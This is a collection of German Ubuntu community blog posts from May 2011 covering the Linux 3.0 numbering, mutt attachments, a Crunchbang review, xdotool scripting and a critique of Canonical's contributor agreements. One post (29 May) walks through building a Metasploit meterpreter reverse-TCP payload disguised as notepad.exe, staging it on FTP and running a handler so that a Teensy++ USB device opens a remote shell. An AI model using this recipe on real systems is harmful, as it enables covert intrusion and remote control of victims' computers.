ubuntuusers.de

🚧 Am Sonntag, 5. Mai, werden ab 16 Uhr die Server aktualisiert und eine neue Inyoka-Version veröffentlicht. Das Portal wird mehrmals nicht verfügbar sein.

31. Mai 2011

Es gibt mal wieder ein neues Video aus dem Hause Canonical. Diesmal geht es nicht um Ubuntu selbst, sondern um die Ubuntu-Schriftart – aufgenommen im Design Museum London. Zu Wort kommen Leute aus der Community, natürlich Menschen von Canonical und einige andere.

Es ist soweit. Die Anzeichen der letzten Tage haben sich bewahrheitet: die Versionsnummer des Linux-Kernels steigt auf 3.0. Linus Torvalds hat sich zu diesem Schritt entschlossen, nachdem die Stimmen in seinem Kopf zu laut geworden sind und eine Abkehr von den immer größeren Versionsnummern der 2.6er-Serie gefordert haben. Das letzte Release war ja 2.6.39.

Laut Torvalds ändert das Nummerierungsschema nichts an der Arbeit um den Kernel und auch die Änderungen die die neue Version mit sich bringt wird halten sich auf dem normalen Niveau. Das bedeutet: hauptsächlich Änderungen an den Treibern, neue Treiber z.B. für verschiedene WLAN-Chips, Aufräumarbeiten bei der ARM-Architektur usw.

Die auffälligste Änderung wird das neue Nummerierungsschema sein. Bisher änderte sich die dritte Stelle der Versionsnummer (z.B.: 2.6.30, 2.6.33, usw.), nun sollen sich diese Änderungen in der zweiten Nummer bemerkbar machen. Statt 3.0.1 folgt also auf das kommende 3.0-Release die Nummer 3.1. Mit sich bringt dies natürlich Probleme bei diversen Skripten die sich auf Änderungen an der dritten Stelle verlassen. Diese sollen aber bis zum Erscheinen der stabilen Version (vermutlich Ende Juni/Anfang Juli) umgestellt sein.

Ich personlich denke, dass diese Umstellung die Bedeutung des Kernels als Grundbaustein eines jeden Linux-basierten Systems hervorheben wird. War bis jetzt immer 2.6 als Kernelversion gebräuchlich (, die genaue Zahl an der dritten Stelle war eher unbekannt,) so wird bald von 3.1, 3.3 und 3.7 die Rede sein. Dies wird, meiner Meinung nach, eine schnelle Entwicklung des Kernels assoziieren (der ja mit einem ungefähren drei-Monat-Rhythmus bereits sehr schnell entwickelt wird (Release Early, Release Often)). Ob eine (Assoziation mit einer) schnellere(n) Entwicklung gewollt ist oder überhaupt Sinn macht ist eine andere Frage.

Manche Stimmen befürworteten auch das Abwarten der Version 2.6.42 bis zum Umstieg. Dies wäre auch näher mit dem 20. Geburtstag von Linux zusammengefallen der dieses Jahr gefeiert wird. Alle Froods werden wohl nun auf 4.2 warten müssen.

Laut Heise wird der neue Kernel übrigens den Namen Sneaky Weasel tragen. In Anbetracht des Neuen Nummerierungsschemas hätte ich eine geekigere Idee: L-3PO (Linux – Three Point O).

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.

=-=-=-=-=
Powered by Blogilo


Einsortiert unter:Free Software/Open Source, GNU/Linux, Ubuntuusers, Vermischtes

30. Mai 2011

Eigentlich wollte ich gerade einen kurzen Blogpost über Googles Updatepolitik bei Android schreiben, zwischenzeitlich bin ich jedoch über ein anderes Problem gestolpert: E-Mails mit einem Anhang mittels der Kommandozeile verschicken. Zugegeben nicht ganz alltäglich, in meinem Fall nützlich um mittels eines Cronjobs samt Bashscript PDFs aus dem Internet zu laden und regelmäßig auszudrucken (mein Drucker hat eine eigene E-Mail-Adresse). Ein Script im Internet zu finden war nicht sonderlich schwer, viel problematischer war es jedoch, es zum Laufen zu bringen. Eine ganze halbe Stunde durchsuchte ich das Internet nach Hinweisen zu folgender Fehlermeldung:

Kann Verzeichniseintrag für Datei name@email.com nicht lesen: Datei oder Verzeichnis nicht gefunden
name@email.com: Kann Datei nicht anhängen.

Leider wurde ich bis auf ein paar Lokalisierungsdaten allerdings nicht fündig. Es dauerte wie gesagt ganze 30 Minuten, bis ich die dazu passende englische Fehlermeldung fand (“Can’t stat %s: %s”) und damit auch die Lösung des Problems. Um eine E-Mail über die Kommandozeile samt Anhang zu verschicken benötigt man (zumindest unter Arch Linux) folgenden Befehl:

echo "Text der E-mail Nachricht" | mutt -a /tmp/dokument.pdf -s "Betreff" -- name@email.com

Wichtig dabei sind die “–”, in alle von mir gefundenen Beispiele fehlen diese zwei Bindestriche, was zu obiger Fehlermeldung führt.

Ich habe, auch wenn Crunchbang ja ursprünglich nicht gerade in meiner Favoritenliste ganz oben stand, trotzdem mal den Versuch gemacht und mir die beiden Varianten von Statler angeschaut: Openbox und Xfce.

Als Testgerät habe ich mein Samsung N130 Netbook genommen, um auch mal WLAN-Kompatibilität und grob einschätzen zu können.

Crunchbang Openbox

Stichwort Geschwindigkeit

Crunchbang Openbox ist verdammt schnell. Und damit meine ich auch “gestartet”. Vom USB-Stick gestartet ist das Gerät in weniger als 30 Sekunden betriebsfertig.

Stichwort Aussehen

Schicker Desktop, auf dem Netbook durch die extrem reduzierte Oberfläche super. Gut, Schwarz ist sicher nicht jedermanns Sache, aber das Design ist schlicht und die Buttons einigermaßen intuitiv. Conky ist vorkonfiguriert und hat ein paar Shortcuts in der Hilfe was will man mehr?

Stichwort Komfort.

Die Schnelligkeit von Openbox kostet stellenweise Komfort. Die Settings beziehen sich im Menü häufig auf ein “Edit [configfile]“. Das ist nicht Userfreundlich, aber effektiv, wenn man damit klarkommt.

“Familienfreundlich” ist das ganze nicht wirklich, ist aber weniger in Crunchbang als in Openbox verhaftet, fürchte ich.

Die Akkuladung hielt übrigens ca. 3 Stunden, das Netbook ist nicht mehr das neueste und für ein komplett unkonfiguriertes System (Bildschirmhelligkeit und Co.) finde ich den Wert mal gar nicht schlecht.

Xfce

Stichwort Geschwindigkeit

Crunchbang Xfce ist auch schnell wie Openbox, die Oberfläche ist relativ schnell da, wenn auch nicht ganz so schnell wie bei Openbox.

Stichwort Aussehen

Schicker Desktop, fast Gnome-mäßig, auch hier ein gewisser Chick, auch hier ist Conky vorkonfiguriert und hat ein paar Shortcuts in der Hilfe was will man mehr?

Stichwort Komfort.

Xfce ist komfortabel gegenüber Openbox, und relativ familienfreundlich. Jetzt stellt sich die Frage, ob ich den Desktop mit Crunchbang oder einer anderen Distribution befeuere. Dafür ist die Configuration von beispielsweise Conky jetzt weniger einfach zugänglich.

Die Akkuladung habe ich hier nicht überprüft.

Zusammenfassung

Crunchbang ist nicht familientauglich. Leider. Aber auf jeden Fall ist Crunchbang eine Überlegung wert, wenn das Windows auf dem Netbook den Geist aufgibt. Für mich auf dem Netbook hat #! eigentlich genau die reduzierte Ausstattung, die ich brauche. Wenig, aber mit mehr Power dahinter.

29. Mai 2011

Um nicht immer gleich SET auffahren zu müssen, wenn ich meinen Payload generieren will, habe ich mich daran gemacht, einen eigenen, universellen Payload zu erstellen.
Wichtig daran, das, nicht wie bei SET, an eine öffentliche IP weitergeleitet wird, damit das ganze auch universell einsetzbar wird! Wer hier keine fixe IP zur Hand hat, kann auch DynDNS verwenden.

So gilt es zuerst den richtigen Payload zu finden:

msfpayload -l

Hier erhält man eine ganze Auswahl an möglichen Payloads. Da ich mein System aber steuern will entscheide ich mich für ein reverse-Payload wie zum Beispiel meterpreter/reverse_tcp.
Nun muss ich all die Arbeit von Hand machen, die mir sonst SET abgenommen hat. Ich schaue mir also noch die offenen Optionen an:

./msfpayload windows/meterpreter/reverse_tcp s

Offen ist noch der LHOST. Hier setzte ich die öffentliche IP meines Anschlusses. Auch ist es ganz empfehlenswert den Port unter LPORT zum Beispiel auf 80, 8080 oder 443 zu setzen:

./msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=443 s

Ist das alles gesetzt, so wird das ganze als rohe Daten ausgegeben und mittels msfencode gleich wieder codiert.

./msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 \
LPORT=443 X > /root/Desktop/x.exe

Um das ganze noch echter zu machen, wird als Vorlage notepad.exe oder auch jede andere beliebige, ausführbare Datei genommen.

Dies kommt nun in das Directory, welches der FTP für anonyme Benutzer freigibt.

Nun muss noch der Handler erstellt werden. Dazu wird die Konsole von Metasploit mit den passenden Daten gefüttert:

./msfcli exploit/multi/handler \
PAYLOAD=windows/meterpreter/reverse_tcp \
LHOST=0.0.0.0 \
LPORT=443 E

Der Code auf dem teensy++ bleibt der selbe wie aus dem vorgehenden Artikel. Und sobald nun etwas eingesteckt wird, öffnet Metasploit eine Verbindung:


Das könnte dich auch interessieren:

  1. teensy++ hacking: besser, schneller

Bluethooth Modul beim Systemstart von Ubuntu automatisch ausschaltenIch hatte ein kleines schönheitsproblem an meinen Notebook. Und zwar habe ich für das WLAN und Bluetooth Modul einen Ein/Aus Schieber. Da ich Bluetooth praktisch nicht brauche, habe ich mich gefragt, wie schalte ich das Bluetooth Modul beim Systemstart automatisch aus. Ich möchte nicht immer bei jeden Start von Ubuntu das Modul manuell ausschalten. Das soll meiner Meinung nach automatisch gehen.

Bluetooth automatisch ausschalten

Wie im Wiki von ubuntuusers.de schon beschrieben, öffnet man das Terminal und gibt folgendes ein:
gksu gedit /etc/rc.local
Nach der Passworteingabe öffnet sich die Datei und man fügt da vor exit 0 folgendes ein:
rfkill block bluetooth
Wichtig ist, dass exit 0 immer am Ende der Datei steht.

Die rc.local Datei sieht dann wie folgt aus:
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.

rfkill block bluetooth

exit 0
Nun speichert man die Datei und startet den Laptop neu.

Nach dem Neustart von Ubuntu wird das Bluetooth Modul automatisch ausgeschaltet. Aber das Zeichen im Panel oben rechts bleibt bestehen.

Wenn man nun das Bluetooth doch mal brauchen sollte, kann man ganz einfach auf das Symbol klicken und Bluetooth einschalten auswählen.

Auch im Mai hat sich bei Invertika wieder einiges getan. Für diejenigen welche Invertika nicht kennen, dabei handelt es sich um ein freies Open Source 2D-MMORPG. In diesem Update wurden viele Maps systematisch auf Fehler überprüft und diese korrigiert. Daneben erwarten den Spieler einige neue Quests, sowie neue NPCs wie z.B. in Quakari. Durch die Quests kommt der Spieler auch an einige neue Items welche ihn interessieren könnten.

Im Norden der aktuellen Weltkarte kann man den gewachsenen Irrwald bewundern, welcher bis zum nächsten Update sicherlich noch an Größe gewinnen wird. Lauria hat nun Innenräume, welche die Spieler besichtigen können und bald mit Leben erfüllt werden. Auf den Karten wurde das Wegesystem ausgebaut, so das der Spieler nun besser von A nach B findet. Desweiteren wurde auch das Theater weiter ausgebaut (und kann nun betreten werden) so das es bald seinen Betrieb aufnehmen wird.

In den Skripten wurden wieder einige Rechtschreibfehler sowie kleinere Ungereimtheiten bei einigen Quests behoben. Der Entwicklertisch hat auch einige neue Mitglieder was sich auch im Invertika Projekt niederschlägt :) Einige Orte sind nun mit Orteingangsschildern ausgestattet so das man weiß wo man sich aufhält.

Wer jetzt neugierig geworden ist kann das Invertika Projekt unter http://invertika.org oder im IRC Channel #invertika (im Freenode Netzwerk) besuchen.

Eine Backup-Lösung sollte einfach, zuverlässig und sicher sein. Diese Anforderungen erfüllt Déjà Dup meiner Meinung nach voll und ganz. Mit Déjà Dup wird das Backup unter Ubuntu zum Kinderspiel. Déjà Dup unterstützt Speichermedien, die über einen der folgenden Wege erreichbar sind: lokal, FTP, SSH, WebDAV, Windows-Dateifreigabe und Amazon S3. Das Backup kann auf Wunsch verschlüsselt werden, was gerade bei einem Backup in der Cloud sinnvoll ist.

Hinweise zur Installation und Verwendung finden sich im ubuntuusers-Wiki.

28. Mai 2011

Ich habe gestern mal meinen Rechner neu aufgesetzt – allerdings nicht mit Ubuntu 11.04, sondern mit 10.10. Ziemlich schnell ist mir aufgefallen, dass mir die Lautstärkeregelung an der Tastatur die Lautstärke zu grob ändert. Diese Einstellung hatte ich in der alten Installation schon geändert, aber ich wusste nicht mehr genau wie. Deshalb musste ich kurz danach suchen.

Man öffnet den gconf-editor mit Alt+F2, gibt gconf-editor ein und drückt Enter. Unter /apps/gnome_settings_daemon ändert man den Wert für volume-step. Ich habe hier mal 3 gewählt. Das reicht mir völlig aus.

Mit Terminaltool xdotool lassen sich von der Konsole aus graphische (X-)Anwendungen bei Linux-Distributionen ändern. So können damit beispielsweise bestimmte Tastenkombinationen mehrfach per Script automatisiert werden, oder z.B. auch Fenster gesucht und deren Titel angepasst werden. Da das Tool ja selbst keine graphische Oberfläche benötigt, sind die Anwendungsfälle sehr vielfältig. Beispielsweise könnte man damit auch ein Script von einem anderen Rechner aus über ssh ansteuern und auf dem entfernten Rechner bestimmte Aufgaben ausführen lassen.

Ich habe mir damit unter Gnome 3 (da hier Nautilus nicht die Desktopverwaltung übernimmt) mal ein kleines Script geschrieben, mit welchem man beim Dateimanager Nautilus neue Ordner in Tabs im aktuellen Fenster öffnen kann. Eine solche Funktionalität hat mir bisher gefehlt und gefühlt tausend offene Nautilus-Fenster sind nicht wirklich schön. ;)

Bash-Script “Opentab.sh”

Wie bereits beschrieben benutze ich mein Bashscript unter Gnome 3, wo Nautilus nicht für die Darstellung der Desktopicons verwendet wird. Sollte dies der Fall sein, wird das Script eventuell nicht (richtig) funktionieren, da xdotool dann eine falsche Nautilus-Instanz findet. Für Verbesserungsvorschläge und Kritik bin ich natürlich wie immer offen! Mein Bashscript:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash
                 ###############################################################
                ##      Opentab.sh by Sven (admin@ganz-sicher.net)             ##
                #       Opens nautilus folders in the same window/a new Tab     #
                #       => Only one instance of Nautilus will be running.       #
                #       Dependencies: nautilus, xdotool                         #
                #                                                               #
#################       USAGE: ./Opentab.sh [path/to/startfolder]               #################
#                 (if you don't add a startpath, your home dir will be opened)                  #
#                                                                                               #
#       TIPS: Don't forget to chmod +x the script                                             #
#       You could also copy it to /usr/bin/tabnautilus to start it with the cmd tabnautilus     #
#                                                                                               #
#       NOTE: If you're experience conflicts with some charaters in your argument-sting         #
#       please check if you set the right keyboard layout in you xorg.conf, e.g.:               #  
#       Option "XkbLayout" "de"         #for German keyboard layout                             #
#       or run e.g. 'setxkbmap de' before this script!                                          #
#                                                                                               #
#       Please also note that this might not work if nautilus handles the desktop.              #
#                                                                                               #
#                                  Have a lot of phun! =)                                       #
#################################################################################################

# search for open nautilus window
window="$(xdotool search --onlyvisible --class nautilus | head -1)"

# check if opened nautilus was found
if [ "$window" = "" ];  
then
  echo "Nautilus not found. Starting new instance of it..."
  nautilus $* 2>&1 > /dev/null &
  exit

else # nautilus is already open :]

  # select the window
  xdotool windowfocus --sync $window
  # add tab and focus adress field
  xdotool key --clearmodifiers ctrl+t+l+BackSpace

  # wait some time to avoid problems
  sleep 0.2

  # custom path
  if [ $# -gt "0" ];
  then
    xdotool type $*

  else # no script arguments
    xdotool type /home/$(whoami)/
  fi
 
  xdotool key Return+Escape
  xdotool windowactivate --sync $window
fi

Benutzung

Nach einem

chmod +x Opentab.sh

…kann ein neuer Nautilustab einfach mit

./Opentab.sh Pfad/zu-einem/Ordner

…hinzugefügt werden. Bei Bedarf kann das Script natürlich auch nach /usr/bin kopiert werden, damit es von überall aus aufrufbar ist.

Nachteile von xdotool

Neben den vielen Möglichkeiten, die sich mit xdotool bieten, muss man leider auch einige Schwächen in Kauf nehmen. Da die laufende Anwendung immer erst gesucht werden muss und in der Regel auf dem System natürlich mehrere Anwendungen laufen, die auch auf die Benutzereingaben reagieren, kommen die Tastensignale nicht immer korrekt & teilweise zu langsam an. Ich musste in meinem Script beispielsweise auch ein kurze Wartezeit mittels des sleep-Befehls einbauen, damit dieses stabiler funktioniert hat.
Für einfache Makro- & Automatisierungsaufgaben ist xdotool aber in jedem Fall ein cooles Spielzeug! :) Auf der Homepage gibt es einige Beispiele sowie eine Dokumentation zum Tool.

27. Mai 2011

Canonical LogoNachdem ich letztens ja Canonicals Umgang mit der Community stark kritisiert habe, ist es sinnvoll, Mark Shuttleworths Sicht der Dinge zumindest nachvollziehen zu können. Nach dem letzten Artikel über Canonical habe ich mal einige Leute mehr gefragt, warum Canonical in Sachen CAs so unnachgiebig verhält. Ich wurde dann (von einem Canonical-Angestellten) auf einen LWN-Artikel hingewiesen, in dem dieses Thema, nämlich die Beziehung zwischen Firmen und Freier Software, aus Mark Shuttleworths Sicht näher beleuchtet wird.

Mark geht dabei zunächst generell auf die Arbeit von Firmen im FLOSS-Umfeld ein. So ist diese enorm wichtig für den weiteren Fortschritt der Projekte und dafür, den Linux-Desktop weiter zu bringen. Allerdings ist es für Firmen, die von proprietärer Softwareentwicklung in Richtung Freie Software gehen wollen sehr schwierig, Akzeptanz in der Community zu finden, da sie sehr schnell mit den Ideologien der FLOSS-Community auf Kollisionskurs gehen. Mark zeigt am Beispiel von Debian, dass nicht mal die Gemeinschaft selbst in der Lage ist, zu definieren, was wirklich frei ist: So ist Debian nach Definition der Free Software Foundation nicht völlig frei, während Debian selbst die GNU Free Documentation License der FSF in seinen DFSG (Debian Free Software Guidelines) als unfrei ausschließt. Nach Mark tendiert die Gemeinschaft dazu, Firmen zu misstrauen, was er als “kindliche Angst” bezeichnet. Wegen dieser fehlenden Einheit engagieren sich nach Mark Firmen wenig im FLOSS-Umfeld, da sie diesen Spießrutenlauf nicht auf sich nehmen wollen.

Als Quintessenz zieht Shuttleworth daraus nun den Schluss, dass die “free-license-only”-Politik der Gemeinschaft Freie Software an sich zurückhält. Er meint, für einige sei die Idee der Freiheit wichtiger als die Realität – diese Leute werden nach Shuttleworth glücklich in dem Wissen sterben, dass ihr Ideal nie gebrochen wurde, aber er selbst hält die nicht für den richtigen weg zum Erfolg von freier Software. Diese Ideologien würden Freier Software die Chance nehmen, wirklich erfolgreich zu sein – viel wichtiger sei stattdessen die Verwendung und Expansion der Software zu fördern.

Für Mark ist es nicht möglich für reine Softwareproduzenten in der FLOSS-Welt Fuß zu fassen. Intel und Google würden mit anderen Dingen als mit der Software Geld verdienen, während RedHat und SUSE kein Interesse an der Expansion und dem Erfolg von freier Software hätten, da sie daran Interessiert wären, dass Firmen auf sie angewiesen sind, um Support zu bekommen. (Den sie sonst anders bekommen würden)

Um nun Firmen den Einstieg in FLOSS-Entwicklung schmackhaft zu machen und um das Linux-Ökosystem zu stärken setzt Mark auf Contributor Agreements, bzw. Copyright Assignments (CA). Die Komponenten würden dadurch gestärkt, dass eine Firma das exklusive Copyright an einer Software habe, was zu höheren Investitionen der Firma in die Software führen würde. Mark möchte insgesamt mehr Firmen an FLOSS-Entwicklung interessieren, was eben durch die CAs erreicht werden soll. Von den Ideologen habe er dafür bis jetzt keinen Vorschlag dafür gesehen. Firmen würden viel eher dazu bereit sein, ihren Code öffentlich zu machen, wenn sie das Recht haben würden zukünftige Versionen der Software auch unter anderen, restriktiveren Lizenzen zu ihren Konditionen zu verkaufen oder zu veröffentlichen.

Mark meint auch, dass diejenigen, die einen Patch an ein Projekt senden und dann der Meinung sind, Mitspracherecht über den Code zu haben einfach nicht großzügig und sozial sind und dass das Verweigern von CAs “egoistisch” sei.

Mark selbst sagt, dass er nicht für proprietäre Software argumentiert, es aber Leid ist, “80% abgeschlossene” Software zu sehen – er möchte mit Partnern arbeiten, die Dinge wirklich fertig stellen (er nennt hier Mozilla als Beispiel) und auch vernünftige Dokumentation schreiben. Hier vergleicht er GTK+ mit Qt: GTK+ ist für ihn ein “hacker toolkit”, während Qt, welches von einer Firma besessen wird, ein “professionelles toolkit” darstellt, bei dem Dokumentation geschrieben und Qualitätsanalyse gemacht wird.

Wie bei Java als Beispiel sieht Mark, dass Freie Software, welche von Firmen besessen wird auch zu Enttäuschungen und Spannungen zwischen der Community und der Firma führen wird, die Community aber die Firmen als eine Art “jujitsu” benutzen soll, um qualitativ hochwertige Software zu entwickeln. Als Erfolgsgeschichten von Freier Software und Firmen bezeichnet Mark z.B. CUPS, MySQL und PostreSQL.

Gegen den OpenOffice/LibreOffice Split hat Mark einzuwenden, dass Sun damals ein 100-millionen $ “Geschenk” an die Community gemacht hat, aber eine “radikale Fraktion” das Leben der OO-Entwickler “zur Hölle gemacht hat”, indem sie ihren Code nicht unter den Konditionen des Sun-CA veröffentlicht haben. Dies soll angeblich Oracle dazu bewogen haben, 100 Entwickler zu entlassen und zur Trennung von OpenOffice zu LibreOffice geführt haben, da die “Radikalen” “gewonnen” hätten. Nach seiner Meinung wird LibreOffice nicht das erreichen können, zu dem OpenOffice unter Oracle fähig gewesen wäre.

Um das Problem zu lösen wurde Projekt Harmony ins Leben gerufen, um Copyright Assignments in freier Software zu etablieren.

Nachdem ich Marks Blog und die Reaktionen in der Gemeinschaft schon einige Zeit mit gesteigertem Interesse verfolge, sorgen Marks Äußerungen in letzter Zeit hauptsächlich für noch mehr Verwirrung. So weist seine Argumentation einige Brüche auf, was natürlich auch daran liegen kann, dass ich bis jetzt noch nie ein direktes und konkretes Statement von Mark gelesen habe, sondern meistens von anderen Leuten, die mit ihm gesprochen haben.

Zunächst einmal hat Mark in jedem Fall damit recht, dass die Ziele freier Software “adoption & expansion” sein sollten. Zudem sorgt der Zustand der Dokumentation einiger Module wirklich nicht für Begeisterung. Auch hat er damit Recht, dass das Engagement von Firmen in FLOSS in jedem Fall wünschenswert ist.

Allerdings irrt sich Mark meiner Meinung nach in dem Weg, durch den er die Verbesserung des aktuellen Zustände erreichen will und auch die von ihm gebrachten Beispiele sind nicht unbedingt tragfähig. So erlauben beispielsweise die DFSG sehr wohl die Verwendung der GFDL-Lizenz, wenn eine bestimmte Ausnahme im Lizenzdokument genannt ist, was inzwischen bei so ziemlich allen Projekten der Fall ist. Auch die Definition von freier Software ist an sich eindeutig und Debian versucht, dieser zu entsprechen. (z.B. durch die Entfernung binärer Firmware aus dem Linux-Kernel)

Dass sich die Gemeinschaft eigentlich nie wirklich einig über den Weg ist, ist eine notwendige Konsequenz daraus, dass es eben eine Gemeinschaft aus Individuen ist: Diskussionen lassen sich nicht verhindern, der “beste Weg” ist nie auf den ersten Blick sichtbar. Die Community ist eben nicht eine Haufen Leute die im Keller sitzen und kostenlos Code produzieren und denen der Rest egal ist. Es ist viel mehr eine aktive Gemeinschaft rund um quelloffene Software, welche nicht nur am Code alleine interessiert ist. Eine der Sachen, die Freie Software ausmacht ist die offene Diskussion über Funktionen und Entscheidungen. Im Gegensatz zu Mark sehe ich das nicht als Nachteil, sondern als Stärke von FLOSS-Communities an, denn durch diese Diskussionen wird die Gemeinschaft erst richtig zu einer Gemeinschaft und man kann sich sicher sein, dass ein Problem aus unglaublich vielen Perspektiven beleuchtet wurde. Das verlangsamt den Entwicklungsprozess manchmal, ist aber ein notwendiges Übel. Klar ist dieser Spießrutenlauf durch verschiedenen Meinungen und unterschiedliche Ideologien nicht wirklich angenehm für Firmen, aber die Community ist auch rein Rad in der Maschine, keine Firmenabteilung, welche von jemandem kontrolliert wird und kein Verein mit einem Vorsitzenden, der das Recht hat, allgemein für diese Gruppe zu sprechen. Diese Eigenheiten müssen anerkannt werden, was für Firmen durchaus möglich ist, wie das Beispiel Collabora zeigt.

Dass GTK+ ein reines “hacker toolkit” ist, stimmt ebenfalls nicht wirklich: Auch bei GTK wird Qualitätsanalyse betrieben und (inzwischen immer besser werdende!) Dokumentation geschrieben. Das erste was Nokia nach dem Kauf von Qt machte, war die Copyright Assignments abzuschaffen und das Projekt der Community zu öffnen. Qt5 soll nun vollkommen in der Öffentlichkeit entwickelt werden. Dies ist ein Krasser Gegensatz zu Marks These, dass Projekte von Firmen “geführt” werden sollen – auch wenn es ein Kernteam an Qt-Entwicklern gibt, die die Richtung vorgeben, so wird der Rest öffentlich verhandelt. Nicht anders als das bei GTK+ auch läuft. Auch das RedHat absichtlich nicht an Dokumentation interessiert ist, damit andere Firmen das Wissen von RedHat kaufen, halte ich für Blödsinn – gerade RedHat-Powered-Projekte sind mir bis jetzt immer durch gute Dokumentation aufgefallen, was auch nötig ist, wenn unabhängige Entwickler in ein neues Projekt einsteigen wollen.

Eine weitere Sache ist widersprüchlich: So sollen über CAs Firmen sich z.B. für ein Projekt A engagieren. Bei Verwendung eines CA besitzt eine Firma X das Copyright an der Software A. Warum soll ich nun mit meiner Firma Y Code zu Projekt A beitragen in dem Wissen, dass ich nur für Firma X kostenlos Code entwickle und Firma X die alleinige Kontrolle über das Projekt hat? Ich weiß von so ziemlich allen kommerziellen FLOSS-Entwicklern, dass sie ein CA nur mit absoluter Sondergenehmigung unterschreiben dürfen. Also verlangsamen CAs die FLOSS-Entwicklung effektiv (aktuelles Negativbeispiel Nummer 1 auf meiner Liste: Ubuntu Software Center).

Auch nicht haltbar ist die Behauptung, wer ein Copyright-Assignment nicht unterschreibt wäre nur egoistisch und wer durch einen Patch Besitz eines Projektes anmeldet hätte kein Recht dazu. Dave Neary hat dazu einen hervorragenden Kommentar in seinem Blog geschrieben. Zwar hinkt das dort verwendete Sprachbild mit dem Schenken einer Pflanze wirklich etwas, aber im Kern trifft er das Problem auf den Punkt.

Zuletzt wäre da nach die Sache mit LibreOffice, welche ebenfalls einen Gegenbeweis zu Marks These darstellt: Seitdem LibreOffice ohne CA unabhängig von Oracle durch eine Stiftung vorangetrieben wird, in der sich die Mitglieder (auch Firmen!) engagieren können, ist die Firmenbeteiligung konstant gewachsen. Viel eher als ein CA wäre es also anscheinend nötig, den Firmen über eine Art “Steering Team” ein (öffentliches) Mitspracherecht bei der Entwicklung einer Software einzuräumen.

Wenn man Marks Worte hier berücksichtigt, so erscheint zudem die Entwicklung von Unity in einem ganz anderen Licht: Unity benötigt ein CA und steht unter Canonicals Kontrolle. Nimmt man Shuttleworths Worte ernst, so ist die Entwicklung mit einem CA durch eine Firma der völlig freien und unabhängigen Entwicklung überlegen. Damit ist Unity eine direkte Konkurrenz bzw. ein Angriff auf GNOME und dessen Entwicklungsmodell. Canonical verwendet bevorzugt Software, über die sie selbst die volle Kontrolle haben. (Ich bin z.B. gespannt, ob sie das allem Anschein nach deutlich bessere “systemd” in Ubuntu einsetzen werden oder bei ihrem “upstart” bleiben.) Die Community ist zweitrangig. Mark hat einmal Verkündet, dass die Community in die Expertise der Firmen (damals war Canonical gemeint) vertrauen soll – aber genau das tut sie nicht, und das liegt nicht an den von Mark beschworenen “Fundamentalisten” sondern viel mehr an Erfahrung und der gemeinschaftlichen Softwareentwicklung an sich, zu der eben auch gehört, ein Mitspracherecht in der Entwicklung zu haben und Copyright auf die Software zu besitzen.

Der Erfolg von Ubuntu zeigt bereits, dass das aktuelle Entwicklungsmodell sehr wohl dazu geeignet ist, Freie Software massentauglich zu machen. Die Ideologie zu verwerfen um noch schnellere Ergebnisse zu erzielen halte ich dabei für falsch. Denn der Gedanke der Freiheit der Software ist ebenso wichtig wie die Software selbst und ist Basis für eine aktive Entwicklergemeinschaft.

Freie Software nur zu instrumentalisieren wird auf die Dauer nach hinten losgehen. Canonical hat bereits unglaubliches erreicht, ganz ohne massive Benutzung von CAs, und die Vergangenheit hat gezeigt, dass ohne wirkliche Unterstützung von OSS-Projekten durch eine Community diese fehlschlagen. (Nokias Hildon-Oberfläche z.B.) Neue Projekte wie beispielsweise MeeGo starten direkt mit voller Einbindung der bestehenden Community.

Naja, auf jeden Fall ist nun der Standpunkt von Mark und damit auch Canonical zumindest teilweise bekannt. Ich bin gespannt, wie sich das Ganze weiter entwickelt, zumal Marks Argumentation bestimmt noch ein wenig tiefgehender ist, ansonsten wäre das, was aktuell auf dem Tisch liegt ein wenig einseitig gedacht. Auf dem Desktop Summit wird es wohl noch weitere Diskussionen über Copyright Assignments geben, ich freue mich drauf!

Denn egal, ob Mark recht hat oder nicht (was er meiner Meinung nach nicht hat :P ) ist die allgemeine Diskussion, wie kann man FLOSS massentauglich machen und mehr Firmen involvieren, doch an sich nicht schlecht, egal, wie sie angestoßen wurde.

Zuletzt noch einmal etwas generelles: In unserer Gesellschaft wird – zumindest nach meinem subjektiven Eindruck – der Idealismus häufig als etwas schlechtes dargestellt und Idealisten als “realitätsfern” und “fundamentalistisch” bezeichnet, genau wir Mark es selbst auch macht. Dies ist grundsätzlich falsch. Idealisten, Leute mit einem festen Ideal, einem Ziel auf das sie hinarbeiten und sei es noch so fern, sind nicht notwendigerweise realitätsfern. Es mag sein, dass feste Ideale und Werte manchmal hinderlich sind, um ein bestimmtes Ziel zu erreichen, aber ein Ziel zu erreichen und dabei dem Ideal treu geblieben zu sein ist doch der moralischere Weg. Und was heute Traum ist und als Blödsinn abgetan wird, wie z.B. das “free software everywhere”-Ideal, kann später Realität werden – was es aber nie ohne die unermüdlichen Leute geworden wäre, die an diesem Ideal festgehalten haben. (Der Idealismus ist nur dann wirklich schädlich, wenn jemand aufhört, andere Meinungen nachzuvollziehen und die Möglichkeit des Scheiterns seiner eigenen Ideologie verwirft.)

Über Unity wird viel geschrieben und berichtet; auch hier durch meinen Co-Blogger Gregor. Ich selbst erachte die Arbeitsumgebung als nicht geeignet, um mit ihr produktiv zu wirken. Sie ist noch zu instabil. Aber das ist eine persönlich, dezidierte Meinung. Nach einem kurzen Ausflug über LXDE und Lubuntu bin ich nun wieder bei Ubuntu gelandet. Bei der LTS-Version 10.04 Lucid Lynx. Nach Canonical ist das die Version, die man “eigentlich” für das produktive Arbeiten nutzen sollte.

Es funktioniert tatsächlich auch alles einwandfrei; bis auf den Treiber für den Drucker Brother HL2270DW. Darüber habe ich bereits berichtet. Leider gibt es dazu keine PPD-Datei. Die Lösung mit dem Treiber für das Modell HL2170W funktioniert unter 10.04 bei mir leider nicht. Dafür klappt es mit dem alten Trick, mit einem Brother-Drucker einen HP-Treiber zu verwenden. Brother kann sozusagen einen HP-Drucker emulieren. Mit dem “Universaltreiber” HP LaserJet 5 kann ich praktisch alles sauber und korrekt ausdrucken, was ich brauche. Sogar der Duplex-Druck geht. Schön, dass die Uralt-Tricks noch immer funktionieren.

